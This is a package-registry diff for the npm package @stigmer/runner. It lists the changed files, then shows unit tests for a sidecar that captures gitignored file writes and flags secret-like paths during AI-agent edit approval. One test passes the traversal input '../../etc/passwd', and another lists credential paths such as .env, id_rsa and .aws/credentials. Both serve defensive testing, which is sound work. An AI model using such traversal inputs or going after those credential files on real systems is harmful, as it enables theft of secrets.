@stigmer/runner 3.0.9-dev.20260615153829 → 3.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (329) hide show
  1. package/dist/.build-fingerprint +1 -1
  2. package/dist/__test-utils__/approval-contract/types.d.ts +174 -0
  3. package/dist/__test-utils__/approval-contract/types.js +24 -0
  4. package/dist/__test-utils__/approval-contract/types.js.map +1 -0
  5. package/dist/activities/call-agent-status.d.ts +19 -1
  6. package/dist/activities/call-agent-status.js +64 -5
  7. package/dist/activities/call-agent-status.js.map +1 -1
  8. package/dist/activities/call-llm.js +19 -53
  9. package/dist/activities/call-llm.js.map +1 -1
  10. package/dist/activities/classify-tool-approvals.d.ts +24 -0
  11. package/dist/activities/classify-tool-approvals.js +69 -17
  12. package/dist/activities/classify-tool-approvals.js.map +1 -1
  13. package/dist/activities/discover-mcp-server.d.ts +7 -0
  14. package/dist/activities/discover-mcp-server.js +11 -1
  15. package/dist/activities/discover-mcp-server.js.map +1 -1
  16. package/dist/activities/execute-cursor/__test-utils__/cursor-hook-harness.d.ts +140 -0
  17. package/dist/activities/execute-cursor/__test-utils__/cursor-hook-harness.js +130 -0
  18. package/dist/activities/execute-cursor/__test-utils__/cursor-hook-harness.js.map +1 -0
  19. package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.d.ts +18 -0
  20. package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.js +123 -0
  21. package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.js.map +1 -0
  22. package/dist/activities/execute-cursor/approval-policy.d.ts +17 -61
  23. package/dist/activities/execute-cursor/approval-policy.js +8 -120
  24. package/dist/activities/execute-cursor/approval-policy.js.map +1 -1
  25. package/dist/activities/execute-cursor/approval-state.d.ts +219 -9
  26. package/dist/activities/execute-cursor/approval-state.js +233 -17
  27. package/dist/activities/execute-cursor/approval-state.js.map +1 -1
  28. package/dist/activities/execute-cursor/capture-flow.d.ts +127 -0
  29. package/dist/activities/execute-cursor/capture-flow.js +234 -0
  30. package/dist/activities/execute-cursor/capture-flow.js.map +1 -0
  31. package/dist/activities/execute-cursor/cas-observations.d.ts +96 -0
  32. package/dist/activities/execute-cursor/cas-observations.js +184 -0
  33. package/dist/activities/execute-cursor/cas-observations.js.map +1 -0
  34. package/dist/activities/execute-cursor/command-provenance.d.ts +62 -0
  35. package/dist/activities/execute-cursor/command-provenance.js +128 -0
  36. package/dist/activities/execute-cursor/command-provenance.js.map +1 -0
  37. package/dist/activities/execute-cursor/exact-apply.d.ts +110 -0
  38. package/dist/activities/execute-cursor/exact-apply.js +204 -0
  39. package/dist/activities/execute-cursor/exact-apply.js.map +1 -0
  40. package/dist/activities/execute-cursor/hook-script.d.ts +53 -24
  41. package/dist/activities/execute-cursor/hook-script.js +310 -47
  42. package/dist/activities/execute-cursor/hook-script.js.map +1 -1
  43. package/dist/activities/execute-cursor/index.d.ts +8 -1
  44. package/dist/activities/execute-cursor/index.js +500 -64
  45. package/dist/activities/execute-cursor/index.js.map +1 -1
  46. package/dist/activities/execute-cursor/message-translator.d.ts +258 -11
  47. package/dist/activities/execute-cursor/message-translator.js +836 -90
  48. package/dist/activities/execute-cursor/message-translator.js.map +1 -1
  49. package/dist/activities/execute-cursor/prompt-builder.d.ts +20 -23
  50. package/dist/activities/execute-cursor/prompt-builder.js +74 -15
  51. package/dist/activities/execute-cursor/prompt-builder.js.map +1 -1
  52. package/dist/activities/execute-cursor/workspace-setup.d.ts +17 -0
  53. package/dist/activities/execute-cursor/workspace-setup.js +212 -33
  54. package/dist/activities/execute-cursor/workspace-setup.js.map +1 -1
  55. package/dist/activities/execute-deep-agent/__test-utils__/gateway-substrate.d.ts +19 -0
  56. package/dist/activities/execute-deep-agent/__test-utils__/gateway-substrate.js +143 -0
  57. package/dist/activities/execute-deep-agent/__test-utils__/gateway-substrate.js.map +1 -0
  58. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.d.ts +88 -0
  59. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.js +81 -0
  60. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.js.map +1 -0
  61. package/dist/activities/execute-deep-agent/approval-file-change.d.ts +47 -0
  62. package/dist/activities/execute-deep-agent/approval-file-change.js +68 -0
  63. package/dist/activities/execute-deep-agent/approval-file-change.js.map +1 -0
  64. package/dist/activities/execute-deep-agent/attachment-injector.d.ts +8 -1
  65. package/dist/activities/execute-deep-agent/attachment-injector.js +7 -7
  66. package/dist/activities/execute-deep-agent/attachment-injector.js.map +1 -1
  67. package/dist/activities/execute-deep-agent/cas-capture-backend.d.ts +42 -0
  68. package/dist/activities/execute-deep-agent/cas-capture-backend.js +47 -0
  69. package/dist/activities/execute-deep-agent/cas-capture-backend.js.map +1 -0
  70. package/dist/activities/execute-deep-agent/cas-capture-observer.d.ts +79 -0
  71. package/dist/activities/execute-deep-agent/cas-capture-observer.js +112 -0
  72. package/dist/activities/execute-deep-agent/cas-capture-observer.js.map +1 -0
  73. package/dist/activities/execute-deep-agent/hitl.d.ts +16 -3
  74. package/dist/activities/execute-deep-agent/hitl.js +11 -3
  75. package/dist/activities/execute-deep-agent/hitl.js.map +1 -1
  76. package/dist/activities/execute-deep-agent/index.d.ts +2 -1
  77. package/dist/activities/execute-deep-agent/index.js +393 -33
  78. package/dist/activities/execute-deep-agent/index.js.map +1 -1
  79. package/dist/activities/execute-deep-agent/inline-publisher.d.ts +7 -1
  80. package/dist/activities/execute-deep-agent/inline-publisher.js +23 -2
  81. package/dist/activities/execute-deep-agent/inline-publisher.js.map +1 -1
  82. package/dist/activities/execute-deep-agent/setup.d.ts +53 -2
  83. package/dist/activities/execute-deep-agent/setup.js +149 -92
  84. package/dist/activities/execute-deep-agent/setup.js.map +1 -1
  85. package/dist/activities/execute-deep-agent/stamp-flowed-rows.d.ts +36 -0
  86. package/dist/activities/execute-deep-agent/stamp-flowed-rows.js +56 -0
  87. package/dist/activities/execute-deep-agent/stamp-flowed-rows.js.map +1 -0
  88. package/dist/activities/execute-deep-agent/status-builder-shared.d.ts +34 -1
  89. package/dist/activities/execute-deep-agent/status-builder-shared.js +26 -25
  90. package/dist/activities/execute-deep-agent/status-builder-shared.js.map +1 -1
  91. package/dist/activities/execute-deep-agent/status-builder.d.ts +17 -5
  92. package/dist/activities/execute-deep-agent/status-builder.js +44 -3
  93. package/dist/activities/execute-deep-agent/status-builder.js.map +1 -1
  94. package/dist/activities/execute-deep-agent/streaming-side-effects.js +2 -19
  95. package/dist/activities/execute-deep-agent/streaming-side-effects.js.map +1 -1
  96. package/dist/activities/execute-deep-agent/streaming.js +3 -15
  97. package/dist/activities/execute-deep-agent/streaming.js.map +1 -1
  98. package/dist/activities/execute-deep-agent/subagent-transformer.d.ts +25 -7
  99. package/dist/activities/execute-deep-agent/subagent-transformer.js +23 -7
  100. package/dist/activities/execute-deep-agent/subagent-transformer.js.map +1 -1
  101. package/dist/activities/execute-deep-agent/subagent-wiring.d.ts +30 -3
  102. package/dist/activities/execute-deep-agent/subagent-wiring.js +29 -3
  103. package/dist/activities/execute-deep-agent/subagent-wiring.js.map +1 -1
  104. package/dist/activities/execute-deep-agent/v3-status-builder.js +32 -2
  105. package/dist/activities/execute-deep-agent/v3-status-builder.js.map +1 -1
  106. package/dist/claimcheck/payload-codec.js +9 -5
  107. package/dist/claimcheck/payload-codec.js.map +1 -1
  108. package/dist/client/stigmer-client.d.ts +2 -0
  109. package/dist/client/stigmer-client.js +2 -0
  110. package/dist/client/stigmer-client.js.map +1 -1
  111. package/dist/middleware/approval-gate.d.ts +85 -4
  112. package/dist/middleware/approval-gate.js +165 -38
  113. package/dist/middleware/approval-gate.js.map +1 -1
  114. package/dist/middleware/types.d.ts +2 -5
  115. package/dist/shared/activity-input.d.ts +43 -0
  116. package/dist/shared/activity-input.js +17 -0
  117. package/dist/shared/activity-input.js.map +1 -0
  118. package/dist/shared/approval-canonicalize.d.ts +19 -0
  119. package/dist/shared/approval-canonicalize.js +119 -0
  120. package/dist/shared/approval-canonicalize.js.map +1 -0
  121. package/dist/shared/approval-fingerprint.d.ts +106 -0
  122. package/dist/shared/approval-fingerprint.js +113 -0
  123. package/dist/shared/approval-fingerprint.js.map +1 -0
  124. package/dist/shared/approval-policy.d.ts +182 -12
  125. package/dist/shared/approval-policy.js +213 -27
  126. package/dist/shared/approval-policy.js.map +1 -1
  127. package/dist/shared/args-preview.d.ts +52 -0
  128. package/dist/shared/args-preview.js +93 -0
  129. package/dist/shared/args-preview.js.map +1 -0
  130. package/dist/shared/artifact-storage.d.ts +19 -1
  131. package/dist/shared/artifact-storage.js +48 -11
  132. package/dist/shared/artifact-storage.js.map +1 -1
  133. package/dist/shared/file-change.d.ts +44 -0
  134. package/dist/shared/file-change.js +57 -0
  135. package/dist/shared/file-change.js.map +1 -0
  136. package/dist/shared/file-tools.d.ts +107 -0
  137. package/dist/shared/file-tools.js +168 -0
  138. package/dist/shared/file-tools.js.map +1 -0
  139. package/dist/shared/filereview/capture.d.ts +202 -0
  140. package/dist/shared/filereview/capture.js +498 -0
  141. package/dist/shared/filereview/capture.js.map +1 -0
  142. package/dist/shared/filereview/cas-substrate.d.ts +190 -0
  143. package/dist/shared/filereview/cas-substrate.js +284 -0
  144. package/dist/shared/filereview/cas-substrate.js.map +1 -0
  145. package/dist/shared/filereview/digest.d.ts +40 -0
  146. package/dist/shared/filereview/digest.js +66 -0
  147. package/dist/shared/filereview/digest.js.map +1 -0
  148. package/dist/shared/filereview/events.d.ts +170 -0
  149. package/dist/shared/filereview/events.js +298 -0
  150. package/dist/shared/filereview/events.js.map +1 -0
  151. package/dist/shared/filereview/git-substrate.d.ts +175 -0
  152. package/dist/shared/filereview/git-substrate.js +439 -0
  153. package/dist/shared/filereview/git-substrate.js.map +1 -0
  154. package/dist/shared/filereview/index.d.ts +11 -0
  155. package/dist/shared/filereview/index.js +12 -0
  156. package/dist/shared/filereview/index.js.map +1 -0
  157. package/dist/shared/filereview/secret-paths.d.ts +63 -0
  158. package/dist/shared/filereview/secret-paths.js +105 -0
  159. package/dist/shared/filereview/secret-paths.js.map +1 -0
  160. package/dist/shared/fingerprint-secret.d.ts +26 -0
  161. package/dist/shared/fingerprint-secret.js +47 -0
  162. package/dist/shared/fingerprint-secret.js.map +1 -0
  163. package/dist/shared/model-client.d.ts +51 -0
  164. package/dist/shared/model-client.js +77 -0
  165. package/dist/shared/model-client.js.map +1 -0
  166. package/dist/shared/plan-artifact.js +0 -2
  167. package/dist/shared/plan-artifact.js.map +1 -1
  168. package/dist/shared/status-offload.d.ts +83 -9
  169. package/dist/shared/status-offload.js +399 -79
  170. package/dist/shared/status-offload.js.map +1 -1
  171. package/dist/shared/status.js +14 -1
  172. package/dist/shared/status.js.map +1 -1
  173. package/dist/shared/tool-kind.d.ts +19 -0
  174. package/dist/shared/tool-kind.js +13 -0
  175. package/dist/shared/tool-kind.js.map +1 -1
  176. package/dist/shared/tool-row.d.ts +88 -0
  177. package/dist/shared/tool-row.js +127 -0
  178. package/dist/shared/tool-row.js.map +1 -0
  179. package/dist/shared/workspace/platform-dir.d.ts +25 -0
  180. package/dist/shared/workspace/platform-dir.js +38 -2
  181. package/dist/shared/workspace/platform-dir.js.map +1 -1
  182. package/dist/workflows/call-agent-orchestrator.js +56 -7
  183. package/dist/workflows/call-agent-orchestrator.js.map +1 -1
  184. package/dist/workflows/connect-mcp-server.d.ts +50 -0
  185. package/dist/workflows/connect-mcp-server.js +136 -15
  186. package/dist/workflows/connect-mcp-server.js.map +1 -1
  187. package/dist/workflows/types.d.ts +8 -0
  188. package/package.json +2 -2
  189. package/src/__test-utils__/approval-contract/contract.ts +224 -0
  190. package/src/__test-utils__/approval-contract/types.ts +179 -0
  191. package/src/__test-utils__/fake-artifact-storage.ts +72 -0
  192. package/src/__tests__/approval-gateway-contract.test.ts +29 -0
  193. package/src/__tests__/claimcheck-codec.test.ts +16 -53
  194. package/src/__tests__/golden-e2e.test.ts +2 -0
  195. package/src/__tests__/runner-token-coordinator.test.ts +3 -3
  196. package/src/activities/__tests__/call-agent-status.test.ts +135 -0
  197. package/src/activities/__tests__/call-llm.test.ts +1 -1
  198. package/src/activities/__tests__/classify-tool-approvals.test.ts +208 -1
  199. package/src/activities/__tests__/discover-mcp-server.test.ts +30 -0
  200. package/src/activities/__tests__/workflow-event-activities.test.ts +2 -1
  201. package/src/activities/call-agent-status.ts +74 -4
  202. package/src/activities/call-llm.ts +18 -63
  203. package/src/activities/classify-tool-approvals.ts +101 -19
  204. package/src/activities/discover-mcp-server.ts +29 -1
  205. package/src/activities/execute-cursor/__test-utils__/cursor-hook-harness.ts +216 -0
  206. package/src/activities/execute-cursor/__test-utils__/gateway-substrate.ts +148 -0
  207. package/src/activities/execute-cursor/__tests__/approval-gate.test.ts +41 -9
  208. package/src/activities/execute-cursor/__tests__/approval-state.test.ts +292 -0
  209. package/src/activities/execute-cursor/__tests__/build-prompt.test.ts +68 -1
  210. package/src/activities/execute-cursor/__tests__/capture-flow.test.ts +1005 -0
  211. package/src/activities/execute-cursor/__tests__/cas-observations.test.ts +187 -0
  212. package/src/activities/execute-cursor/__tests__/coarse-fingerprint.test.ts +97 -0
  213. package/src/activities/execute-cursor/__tests__/command-provenance.test.ts +240 -0
  214. package/src/activities/execute-cursor/__tests__/deny-gate-exact-apply.test.ts +203 -0
  215. package/src/activities/execute-cursor/__tests__/exact-apply.test.ts +375 -0
  216. package/src/activities/execute-cursor/__tests__/hitl-ledger.test.ts +1294 -24
  217. package/src/activities/execute-cursor/__tests__/hitl-resume-history.test.ts +446 -0
  218. package/src/activities/execute-cursor/__tests__/hook-script.test.ts +384 -110
  219. package/src/activities/execute-cursor/__tests__/message-translator.test.ts +171 -25
  220. package/src/activities/execute-cursor/__tests__/sequential-gate-resume.test.ts +189 -0
  221. package/src/activities/execute-cursor/__tests__/tool-result-image.test.ts +44 -23
  222. package/src/activities/execute-cursor/__tests__/workspace-setup.test.ts +190 -10
  223. package/src/activities/execute-cursor/approval-policy.ts +28 -159
  224. package/src/activities/execute-cursor/approval-state.ts +366 -18
  225. package/src/activities/execute-cursor/capture-flow.ts +323 -0
  226. package/src/activities/execute-cursor/cas-observations.ts +204 -0
  227. package/src/activities/execute-cursor/command-provenance.ts +168 -0
  228. package/src/activities/execute-cursor/exact-apply.ts +253 -0
  229. package/src/activities/execute-cursor/hook-script.ts +317 -51
  230. package/src/activities/execute-cursor/index.ts +575 -67
  231. package/src/activities/execute-cursor/message-translator.ts +963 -89
  232. package/src/activities/execute-cursor/prompt-builder.ts +80 -14
  233. package/src/activities/execute-cursor/workspace-setup.ts +257 -42
  234. package/src/activities/execute-deep-agent/__test-utils__/gateway-substrate.ts +180 -0
  235. package/src/activities/execute-deep-agent/__test-utils__/scripted-model.ts +134 -0
  236. package/src/activities/execute-deep-agent/__tests__/approval-file-change.test.ts +84 -0
  237. package/src/activities/execute-deep-agent/__tests__/attachment-injector.test.ts +11 -24
  238. package/src/activities/execute-deep-agent/__tests__/cas-capture-backend.test.ts +64 -0
  239. package/src/activities/execute-deep-agent/__tests__/cas-capture-observer.test.ts +163 -0
  240. package/src/activities/execute-deep-agent/__tests__/hitl-integration.test.ts +8 -5
  241. package/src/activities/execute-deep-agent/__tests__/hitl-resume-approve-all.test.ts +342 -0
  242. package/src/activities/execute-deep-agent/__tests__/hitl-resume-history.test.ts +284 -0
  243. package/src/activities/execute-deep-agent/__tests__/hitl.test.ts +14 -36
  244. package/src/activities/execute-deep-agent/__tests__/inline-publisher.test.ts +31 -13
  245. package/src/activities/execute-deep-agent/__tests__/sequential-gate-resume.test.ts +349 -0
  246. package/src/activities/execute-deep-agent/__tests__/stamp-flowed-rows.test.ts +119 -0
  247. package/src/activities/execute-deep-agent/__tests__/status-builder.test.ts +91 -10
  248. package/src/activities/execute-deep-agent/__tests__/streaming-v3.test.ts +9 -9
  249. package/src/activities/execute-deep-agent/__tests__/subagent-approval-propagation.test.ts +160 -0
  250. package/src/activities/execute-deep-agent/__tests__/subagent-gitignored-capture.test.ts +213 -0
  251. package/src/activities/execute-deep-agent/__tests__/subagent-transformer.test.ts +3 -6
  252. package/src/activities/execute-deep-agent/__tests__/subagent-wiring.test.ts +84 -1
  253. package/src/activities/execute-deep-agent/__tests__/v3-status-builder.test.ts +4 -1
  254. package/src/activities/execute-deep-agent/approval-file-change.ts +80 -0
  255. package/src/activities/execute-deep-agent/attachment-injector.ts +20 -11
  256. package/src/activities/execute-deep-agent/cas-capture-backend.ts +66 -0
  257. package/src/activities/execute-deep-agent/cas-capture-observer.ts +125 -0
  258. package/src/activities/execute-deep-agent/hitl.ts +23 -7
  259. package/src/activities/execute-deep-agent/index.ts +463 -40
  260. package/src/activities/execute-deep-agent/inline-publisher.ts +27 -4
  261. package/src/activities/execute-deep-agent/setup.ts +223 -125
  262. package/src/activities/execute-deep-agent/stamp-flowed-rows.ts +64 -0
  263. package/src/activities/execute-deep-agent/status-builder-shared.ts +62 -23
  264. package/src/activities/execute-deep-agent/status-builder.ts +63 -8
  265. package/src/activities/execute-deep-agent/streaming-side-effects.ts +2 -16
  266. package/src/activities/execute-deep-agent/streaming.ts +3 -13
  267. package/src/activities/execute-deep-agent/subagent-transformer.ts +53 -13
  268. package/src/activities/execute-deep-agent/subagent-wiring.ts +50 -3
  269. package/src/activities/execute-deep-agent/v3-status-builder.ts +36 -2
  270. package/src/claimcheck/payload-codec.ts +8 -8
  271. package/src/client/stigmer-client.ts +9 -1
  272. package/src/middleware/__tests__/approval-gate.test.ts +488 -4
  273. package/src/middleware/approval-gate.ts +247 -38
  274. package/src/middleware/types.ts +5 -5
  275. package/src/shared/__tests__/activity-input.test.ts +78 -0
  276. package/src/shared/__tests__/approval-canonicalize.test.ts +106 -0
  277. package/src/shared/__tests__/approval-fingerprint.test.ts +115 -0
  278. package/src/shared/__tests__/approval-policy.test.ts +274 -40
  279. package/src/shared/__tests__/args-preview.test.ts +78 -0
  280. package/src/shared/__tests__/artifact-storage-extended.test.ts +62 -10
  281. package/src/shared/__tests__/artifact-storage.test.ts +123 -11
  282. package/src/shared/__tests__/file-change.test.ts +85 -0
  283. package/src/shared/__tests__/file-tools.test.ts +90 -0
  284. package/src/shared/__tests__/fingerprint-secret.test.ts +51 -0
  285. package/src/shared/__tests__/lease-scope-corpus.test.ts +56 -0
  286. package/src/shared/__tests__/model-client.test.ts +162 -0
  287. package/src/shared/__tests__/plan-artifact.test.ts +11 -26
  288. package/src/shared/__tests__/policy-source-corpus.test.ts +58 -0
  289. package/src/shared/__tests__/status-offload.test.ts +573 -16
  290. package/src/shared/__tests__/status.test.ts +4 -5
  291. package/src/shared/__tests__/tool-kind.test.ts +24 -1
  292. package/src/shared/__tests__/tool-row.test.ts +221 -0
  293. package/src/shared/activity-input.ts +57 -0
  294. package/src/shared/approval-canonicalize.ts +159 -0
  295. package/src/shared/approval-fingerprint.ts +148 -0
  296. package/src/shared/approval-policy.ts +303 -27
  297. package/src/shared/args-preview.ts +98 -0
  298. package/src/shared/artifact-storage.ts +62 -11
  299. package/src/shared/checkpointer/__tests__/http-saver.test.ts +1 -2
  300. package/src/shared/file-change.ts +64 -0
  301. package/src/shared/file-tools.ts +169 -0
  302. package/src/shared/filereview/__tests__/capture.test.ts +856 -0
  303. package/src/shared/filereview/__tests__/cas-substrate.test.ts +404 -0
  304. package/src/shared/filereview/__tests__/digest.test.ts +100 -0
  305. package/src/shared/filereview/__tests__/events.test.ts +245 -0
  306. package/src/shared/filereview/__tests__/git-substrate.test.ts +362 -0
  307. package/src/shared/filereview/__tests__/proxy-reconcile.test.ts +286 -0
  308. package/src/shared/filereview/__tests__/secret-paths.test.ts +121 -0
  309. package/src/shared/filereview/capture.ts +727 -0
  310. package/src/shared/filereview/cas-substrate.ts +401 -0
  311. package/src/shared/filereview/digest.ts +83 -0
  312. package/src/shared/filereview/events.ts +449 -0
  313. package/src/shared/filereview/git-substrate.ts +555 -0
  314. package/src/shared/filereview/index.ts +60 -0
  315. package/src/shared/filereview/secret-paths.ts +121 -0
  316. package/src/shared/fingerprint-secret.ts +53 -0
  317. package/src/shared/model-client.ts +122 -0
  318. package/src/shared/plan-artifact.ts +0 -2
  319. package/src/shared/status-offload.ts +433 -77
  320. package/src/shared/status.ts +13 -0
  321. package/src/shared/tool-kind.ts +33 -0
  322. package/src/shared/tool-row.ts +135 -0
  323. package/src/shared/workspace/platform-dir.ts +41 -2
  324. package/src/workflow-engine/__tests__/golden-execution.test.ts +35 -18
  325. package/src/workflow-engine/__tests__/tasks/try.test.ts +1 -1
  326. package/src/workflows/__tests__/connect-mcp-server.test.ts +304 -29
  327. package/src/workflows/call-agent-orchestrator.ts +53 -6
  328. package/src/workflows/connect-mcp-server.ts +179 -24
  329. package/src/workflows/types.ts +8 -0
@@ -0,0 +1,187 @@
1
+ /**
2
+ * Unit tests for the Cursor cas-observations sidecar — the disk-backed observer
3
+ * of gitignored writes.
4
+ *
5
+ * Two surfaces, both covered here:
6
+ * - the READER ({@link readCasObservations}) the runner boundary calls;
7
+ * - the WRITER SCRIPT ({@link buildObservationStagingScript}) the hook runs on
8
+ * the runner's Node binary. The writer is executed here through the SAME
9
+ * `node -e` invocation the hook uses (salient via stdin, workspace root + obs
10
+ * dir via argv), so these tests exercise the real staged bytes and the real
11
+ * secret classification — and the classifier is locked byte-for-byte against
12
+ * {@link isSecretLikePath} to prevent drift.
13
+ *
14
+ * Skipped automatically where bash/node semantics differ; node is always present
15
+ * in the test runner.
16
+ */
17
+
18
+ import { describe, it, expect, onTestFinished } from "vitest";
19
+ import { execFileSync } from "node:child_process";
20
+ import { mkdtempSync, writeFileSync } from "node:fs";
21
+ import { tmpdir } from "node:os";
22
+ import { join } from "node:path";
23
+
24
+ import {
25
+ readCasObservations,
26
+ resetCasObservations,
27
+ casObservationsDir,
28
+ buildObservationStagingScript,
29
+ } from "../cas-observations.js";
30
+ import { isSecretLikePath } from "../../../shared/filereview/secret-paths.js";
31
+
32
+ function tmp(prefix: string): string {
33
+ const dir = mkdtempSync(join(tmpdir(), prefix));
34
+ onTestFinished(() => {
35
+ // Best-effort cleanup; the OS temp dir is reclaimed regardless.
36
+ try {
37
+ execFileSync("rm", ["-rf", dir]);
38
+ } catch {
39
+ /* ignore */
40
+ }
41
+ });
42
+ return dir;
43
+ }
44
+
45
+ /**
46
+ * Run the real staging script exactly as the hook does: salient on stdin, the
47
+ * workspace root and observations dir on argv. Returns the emitted token.
48
+ */
49
+ function runStaging(wsRoot: string, obsDir: string, salient: string): string {
50
+ return execFileSync(process.execPath, ["-e", buildObservationStagingScript(), wsRoot, obsDir], {
51
+ input: salient,
52
+ })
53
+ .toString()
54
+ .trim();
55
+ }
56
+
57
+ describe("cas-observations sidecar", () => {
58
+ describe("readCasObservations", () => {
59
+ it("returns empty for a missing directory", async () => {
60
+ const hitl = tmp("obs-read-");
61
+ expect(await readCasObservations(hitl)).toEqual({ captured: [], secretPaths: [] });
62
+ });
63
+
64
+ it("parses captured (MODIFY + ADD) and secret entries, deterministically ordered, tolerating garbage", async () => {
65
+ const hitl = tmp("obs-read-");
66
+ const dir = await resetCasObservations(hitl);
67
+
68
+ // A captured MODIFY: metadata + a before blob.
69
+ writeFileSync(join(dir, "aaa.meta.json"), JSON.stringify({ path: "logs/a.log", kind: "captured", existed: true }));
70
+ writeFileSync(join(dir, "aaa.blob"), "ORIGINAL");
71
+ // A captured ADD: metadata only (no blob).
72
+ writeFileSync(join(dir, "bbb.meta.json"), JSON.stringify({ path: "logs/b.log", kind: "captured", existed: false }));
73
+ // A secret marker (path only).
74
+ writeFileSync(join(dir, "ccc.meta.json"), JSON.stringify({ path: ".env", kind: "secret" }));
75
+ // Garbage marker (tolerated + skipped) and a non-meta file (ignored).
76
+ writeFileSync(join(dir, "ddd.meta.json"), "{ not json");
77
+ writeFileSync(join(dir, "eee.txt"), "ignored");
78
+
79
+ const obs = await readCasObservations(hitl);
80
+ expect(obs.secretPaths).toEqual([".env"]);
81
+ expect(obs.captured).toHaveLength(2);
82
+ expect(obs.captured[0].path).toBe("logs/a.log");
83
+ expect(Buffer.from(obs.captured[0].before!).toString("utf8")).toBe("ORIGINAL");
84
+ expect(obs.captured[1].path).toBe("logs/b.log");
85
+ expect(obs.captured[1].before).toBeNull();
86
+ });
87
+
88
+ it("skips a captured MODIFY whose blob is missing (defensive, not mis-captured as ADD)", async () => {
89
+ const hitl = tmp("obs-read-");
90
+ const dir = await resetCasObservations(hitl);
91
+ writeFileSync(join(dir, "aaa.meta.json"), JSON.stringify({ path: "a.log", kind: "captured", existed: true }));
92
+ // No aaa.blob written.
93
+ const obs = await readCasObservations(hitl);
94
+ expect(obs.captured).toEqual([]);
95
+ expect(obs.secretPaths).toEqual([]);
96
+ });
97
+ });
98
+
99
+ describe("resetCasObservations", () => {
100
+ it("truncates prior observations for a fresh turn", async () => {
101
+ const hitl = tmp("obs-reset-");
102
+ const dir = await resetCasObservations(hitl);
103
+ writeFileSync(join(dir, "aaa.meta.json"), JSON.stringify({ path: "a.log", kind: "secret" }));
104
+ expect((await readCasObservations(hitl)).secretPaths).toEqual(["a.log"]);
105
+ await resetCasObservations(hitl);
106
+ expect(await readCasObservations(hitl)).toEqual({ captured: [], secretPaths: [] });
107
+ });
108
+ });
109
+
110
+ describe("staging script (the hook's real observer)", () => {
111
+ it("stages a non-secret ADD (before absent) and emits captured", async () => {
112
+ const ws = tmp("obs-ws-");
113
+ const obsDir = casObservationsDir(ws);
114
+ expect(runStaging(ws, obsDir, "build/out.js")).toBe("captured");
115
+ const obs = await readCasObservations(ws);
116
+ expect(obs.captured).toHaveLength(1);
117
+ expect(obs.captured[0].path).toBe("build/out.js");
118
+ expect(obs.captured[0].before).toBeNull();
119
+ });
120
+
121
+ it("stages a non-secret MODIFY with the exact pre-turn bytes", async () => {
122
+ const ws = tmp("obs-ws-");
123
+ writeFileSync(join(ws, "out.log"), "PREVIOUS", "utf-8");
124
+ const obsDir = casObservationsDir(ws);
125
+ expect(runStaging(ws, obsDir, "out.log")).toBe("captured");
126
+ const obs = await readCasObservations(ws);
127
+ expect(Buffer.from(obs.captured[0].before!).toString("utf8")).toBe("PREVIOUS");
128
+ });
129
+
130
+ it("first-touch-wins: a second stage of the same path keeps the first before", async () => {
131
+ const ws = tmp("obs-ws-");
132
+ writeFileSync(join(ws, "out.log"), "ORIGINAL", "utf-8");
133
+ const obsDir = casObservationsDir(ws);
134
+ expect(runStaging(ws, obsDir, "out.log")).toBe("captured");
135
+ // The write applied; a later edit re-runs staging — the before must not move.
136
+ writeFileSync(join(ws, "out.log"), "APPLIED", "utf-8");
137
+ expect(runStaging(ws, obsDir, "out.log")).toBe("captured");
138
+ const obs = await readCasObservations(ws);
139
+ expect(obs.captured).toHaveLength(1);
140
+ expect(Buffer.from(obs.captured[0].before!).toString("utf8")).toBe("ORIGINAL");
141
+ });
142
+
143
+ it("emits secret and records a path-only marker for a secret-like path (no blob)", async () => {
144
+ const ws = tmp("obs-ws-");
145
+ writeFileSync(join(ws, ".env"), "API_KEY=xyz", "utf-8");
146
+ const obsDir = casObservationsDir(ws);
147
+ expect(runStaging(ws, obsDir, ".env")).toBe("secret");
148
+ const obs = await readCasObservations(ws);
149
+ expect(obs.captured).toEqual([]);
150
+ expect(obs.secretPaths).toEqual([".env"]);
151
+ });
152
+
153
+ it("emits error for a path that escapes the workspace (fail closed)", async () => {
154
+ const ws = tmp("obs-ws-");
155
+ const obsDir = casObservationsDir(ws);
156
+ expect(runStaging(ws, obsDir, "../../etc/passwd")).toBe("error");
157
+ });
158
+
159
+ // The generated secret classifier MUST agree with isSecretLikePath for every
160
+ // path, or a secret could ride into CAS. This locks the two together.
161
+ it("classifies secrets byte-for-byte identically to isSecretLikePath", async () => {
162
+ const paths = [
163
+ ".env",
164
+ ".env.local",
165
+ "config/.env.production",
166
+ "id_rsa",
167
+ "server.pem",
168
+ "certs/key.pfx",
169
+ "terraform.tfstate",
170
+ ".aws/credentials",
171
+ "home/.ssh/known_hosts",
172
+ ".npmrc",
173
+ "app.log",
174
+ "src/index.ts",
175
+ "docs/notes.md",
176
+ "build/out.js",
177
+ ];
178
+ for (const p of paths) {
179
+ const ws = tmp("obs-cls-");
180
+ const obsDir = casObservationsDir(ws);
181
+ const token = runStaging(ws, obsDir, p);
182
+ const expected = isSecretLikePath(p) ? "secret" : "captured";
183
+ expect(token, `classification for ${p}`).toBe(expected);
184
+ }
185
+ });
186
+ });
187
+ });
@@ -0,0 +1,97 @@
1
+ /**
2
+ * @regression file-hitl-phase0 — pins file-edit HITL fix #6 (see _projects/2026-06/20260630.01.file-change-hitl-redesign/tasks/T01_3_regression-manifest.md)
3
+ *
4
+ * Slice D — the Cursor grant token / fingerprint as the substrate-coarsened
5
+ * projection of the shared canonical action.
6
+ *
7
+ * These tests pin the three properties that give the lease its teeth on the
8
+ * Cursor substrate:
9
+ * 1. hook-side == stream-side: a tool named in the hook taxonomy (`Write`,
10
+ * `file_path`) and the same action named in the stream taxonomy (`edit`,
11
+ * `path`) reduce to ONE coarse fingerprint AND one wire token.
12
+ * 2. cross-tool isolation: approving a write never authorizes a shell — the
13
+ * fingerprints (and tokens) are distinct.
14
+ * 3. the fingerprint shares the deep-agent / cross-language HMAC+canonical path,
15
+ * so it carries the version tag and matches the corpus contract.
16
+ */
17
+
18
+ import { describe, it, expect, vi } from "vitest";
19
+ import {
20
+ toolIdentity,
21
+ grantFingerprint,
22
+ grantToken,
23
+ emitCursorGrantReceipts,
24
+ type ApprovalGrant,
25
+ } from "../approval-state.js";
26
